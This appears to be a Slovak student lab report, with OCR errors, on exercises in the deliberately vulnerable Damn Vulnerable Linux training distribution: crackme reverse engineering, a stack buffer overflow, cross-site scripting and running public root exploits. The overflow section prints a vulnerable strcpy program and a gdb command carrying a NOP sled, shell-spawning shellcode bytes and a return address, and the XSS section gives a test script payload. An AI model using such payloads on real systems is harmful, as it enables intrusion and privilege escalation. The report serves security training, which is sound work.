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1 Reverse Code Engineering

1.1 Uvod

Damn Vulnerable Linux je distribicia Linuxu sluziaca ako tréningové prostredie I'T
bezpecénosti. Obsahuje mnozstvo nastrojov a cviceni, na ktorych je mozné skusat
a testovat hackerské dovednosti. Zaujimava je napriklad sekcia s ndzvom , Reverse
Code Engineering“. Pojmom ,reverse engineering” sa oznacuje process, kedy je tlo-
hou zistit, ¢o najviac informécii o Struktiure, principoch, funkcidch a operaciach
analyzovanych programov. Nasledne sa daju tieto informacie vyuzit k vybudovaniu
vlastného programu s rovnakou funkcionalitou, k odstraneniu ochrany proti kopiro-
vaniu, vytvoreniu ,keygenu“ alebo k odhaleniu zranitelnosti systému.

1.2 Postup

Predtym ako sa ¢lovek moze zacat zaoberat analyzou kédov, ku ktorym nemé zdro-
jové texty, musi sa naucit zaklady low-level programovania. Medzi takéto progra-
movanie patri znalost jazyka ,assembler“. Dalej je délezité pochopit ako procesor
pracuje s registrami, ako spracovava pamiit a ¢o jednotlivé inStrukcie znamenaju.
Vybornu sériu tutoridlov vytvoril Vivek Ramachandran s nazvom Assembly Langu-
age Primer for Hackers E], ktora je dostupna na internete.

Po zvladnuti zdkladov assembleru, je potrebné zoznamit sa s nastrojmi, ktoré
ulahd¢ia spracovavanie programu. Na zaciatku treba zistit nejaké zakladné informa-
cie o cieli. K tomu st vhodné prikazy file a readelf, z ktorych mézme vycitat
napriklad typ operacného systému, typ procesora alebo pamitovi adresu vstup-
ného bodu programu. Dal&i uZitoény néastroj je strings. Tento prikaz vypise vetky
textové retazce, ktoré sa v danom stibore nachddzaji. To moze byt vhodné pri hla-
dani nejakych hard-coded dat. Na disassemblovanie sa vyuziva objdump a nakoniec
netreba zabudniaf na ladiaci néstroj gdb. Samozrejme tieto nastroje nie st jediné.
Existuje vela inych s grafickjym rozhranim a viac sofistikovanejsich. Vyber vyssie
popisanych je vsak dostupny v Linuxe bez nutnosti inStalacie dotato¢nych balikov.

Thttp://securitytube.net/. . .


http://www.securitytube.net/Assembly-Primer-for-Hackers-(Part-1)-System-Organization-video.aspx

1.3 Konkrétne priklady

So vSetkymi tymito znalostami, nezostava ni¢ iné len cvicit a cvicif, pretoze iba
tréningom sa Clovek zdokonaluje. DVL obsahuje velké mnoZstvo cviénych programov
v adresari /dvl/crackmes_package/. Venovali sme sa prevazne prikladom z pod-
adresara level_01, z ktorych niektoré boli vyriesené behom par mintt, no iné trvali
viac Casu.

Napriklad program s ndzvom Cyrex_LinuxCrackmel patril medzi rychlo vyriese-
né. Pri spusteni si aplikicia vyziada heslo. Kedze program sa skladé iba z jedného
stboru, prvy napad je, Ze heslo je zadratované priamo v programe. Spustenim

$ strings crackme

dostavame zoznam textovych retazcov programu. Je potrebné vSimnit si tajomny
retazec ,47ghf6fh37fbgbgj“. Nasledné vyskusanie tohto retazca vracia kladny vysle-
dok.

Druhy priklad s ndzvom Cyrex_LinuxCrackme2 uZ nie je taky jednoduchy. Opit
je mozné pomocou analyzy textovych refazcov zistit spravne heslo. Problém je,
ze zadanie spravneho hesla nie je vSetko. Je potrebné vytvorit v adresari /tmp/
jeden stubor. Aby bolo mozné tieto informécie zistit, musi sa vykonat podrobnejsia
analyza kédu pomocou gdb. Autor programu takéto chovanie predpokladal a preto
do neho zakomponoval maly trik, viz:

$ gdb crackme
gdb$ run
Are you trying to Debug me?

Program exited with code 01.

Disassemblovanim kédu sa da odhalit, Ze autor testuje pomocou ptrace, ¢i nie je
pod kontrolou nejakého ladiaceho néastroja. Ako to obist, nebudeme prezradzat. To
by nebola zabava.

7 dalsich prikladov by som spomenul Ballmann_checkpasswd, ktory uz nepou-
ziva plain-textovi podobu hesla ulozent v programe. Vyuziva funckiu crypt, ktorou
zaheSuje zadané heslo a to porovnéa s refazcom, ktory ma uloZzeny v pamiiti. Cvicenie
s ndzvom Nobody_RitzCrackme nie je mozné rozlastit bez dékladného porozumenia
disassemblovaného kédu. Zatial ¢o v inych prikladoch je mozné vidiet v instrukciach
volania nejakych standardnych funkcii, v tomto priklade st funkcie vyvolavané po-
mocou INT 0x80 instrukcie.

Reverse engineering je urcite zaujimava oblast. Vyzaduje v8ak mnoho ¢asu, cvice-
nia a spravneho porozumenia myslenia autorov softvérov.



2 Vyuzitie Buffer Overflow
2.1 Uvod

Buffer Overflow (BoF) je typicky ttok vyuzivajici nedostatoéné oSetrenie vstupov
od uzivatela, pripadne nespravne zaobchadzanie s textovymi retazcami. Na vyuZitie
takejto slabiny existuje viacero technik. Vyuzili sme techniku NOP-sled.

2.2 Technika NOP-sled

Cielom ttoc¢nika je prinutit zranitelny program k tomu, aby vykonal shellcode, ktory
mu bude ,,podstréeny*. Problémom vSak je, ako nasmerovat IP (Instruction Pointer)
na adresu, kde je umiestneny shellcode.

Metéda NOP-sled tento problém riesi nasledovne: okrem shellcodu sa na stack
zapiSe i sekvencia NOP operacii (No OPeration) a na jej koniec sa prida relativny
skok na adresu, kde zacina shellcode. Potom ostava uz len zaistit, aby navratova
adresa z inkriminovanej funkcie spadla niekam do bloku NOP operacii, kedze IP
po tychto operaciach ,sklzne“ az k relativnemu skoku a nésledne k zaciatku shell-
codu.

Samozrejme, shellcode si ito¢nik nemusi pisat sam. Instrukcie, po vykonani kto-
rych sa ttocnikovi spusti rootovsky shell st lahko dostupné.

2.3 Technické detaily
Ako zranitelnd aplikdcia bol pouzity nasledovny program:

#include <stdio.h>
#include <string.h>

int main (int argc, charsx argv) {
char buffer [400];
strepy (buffer , argv([1l]);
return 0;

KedZe funckia strcpy nekontroluje dizku kopirovangch refazcov, je pre ttoky
typu BoF priam idealna. Tento program sme nésledne ,ladili“ pomocou gdb. V pri-
lozenom prikaze vidime argumenty predané programu z gdb:

e 300-krat instrukcia NOP (0x90)
e shellcode (nasledujice 3 riadky)

e 45-krat adresa kdesi v NOP bloku, touto adresou sa snazime prepisat IP a tym
presmerovat vykondvanie niekam do bloku NOP opracii.



run ‘perl —e ’print 7\x90” x 300
"\xb0\x17\x31\xdb\xcd\x80\xb0\x0b\x99\x52"
"\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e”
"\ x89\xe3\x52\x53\x89\xel\xcd\x80"

. P\ xf0\xf3\ xff\xbf” x 45°°

Po spusteni tohto prikazu v gdb vdaka shellcodu (z milwOrm.com) dostaneme
root-ovsky shell.

3 Cross-site scripting

3.1 Uvod

Cross-site scripting (XSS) je v su¢asnosti jednou z najvaznejsich hrozieb bezpec¢nosti
na Internete. Uto¢nik pri tomto type ttokov vyuziva nedostatoéné osetrovanie vstu-
pov na strankach k vkladaniu vlastného javascriptového kédu. Tym moze stranku
vyuzit napriklad k phishingu, alebo k zberu déat od navstevnikov stranky (keylogger).
DVL poskytuje v sekcii webovych ttokov i ukazky takto zranitelnych stranok.

3.2 Postup

Ak chceme otestovat stranku na nachylnost vo¢i XSS, staci ndjst vhodné miesto
pre zadanie textu od uzivatela a zadat napriklad:

<script>alert();</script>

Ak sa ndm po odoslani tohto textu ukaze okienko s chybovou hlaskou, nasli sme
zranitelna stranku.

Pomocou HTML tagu iframe mozeme do stranky vlozit frame obsahujtci fubo-
volnt ind stranku a prispésobenim parametrov dosiahneme prekrytie celej stranky.

4 Spustanie réoznych exploitov

V rdmci ,hrania sa* na script kiddies sme tiez sktsali spustat rozne exploity zo stranky
milwOrm. com. Patrili medzi ne napriklad exploit funkcie ptrace_attach alebo linux-
sendpage. Ich tc¢elom je poskytniut rootovsky shell, ¢o sa nadm s druhym menovanym

i podarilo.
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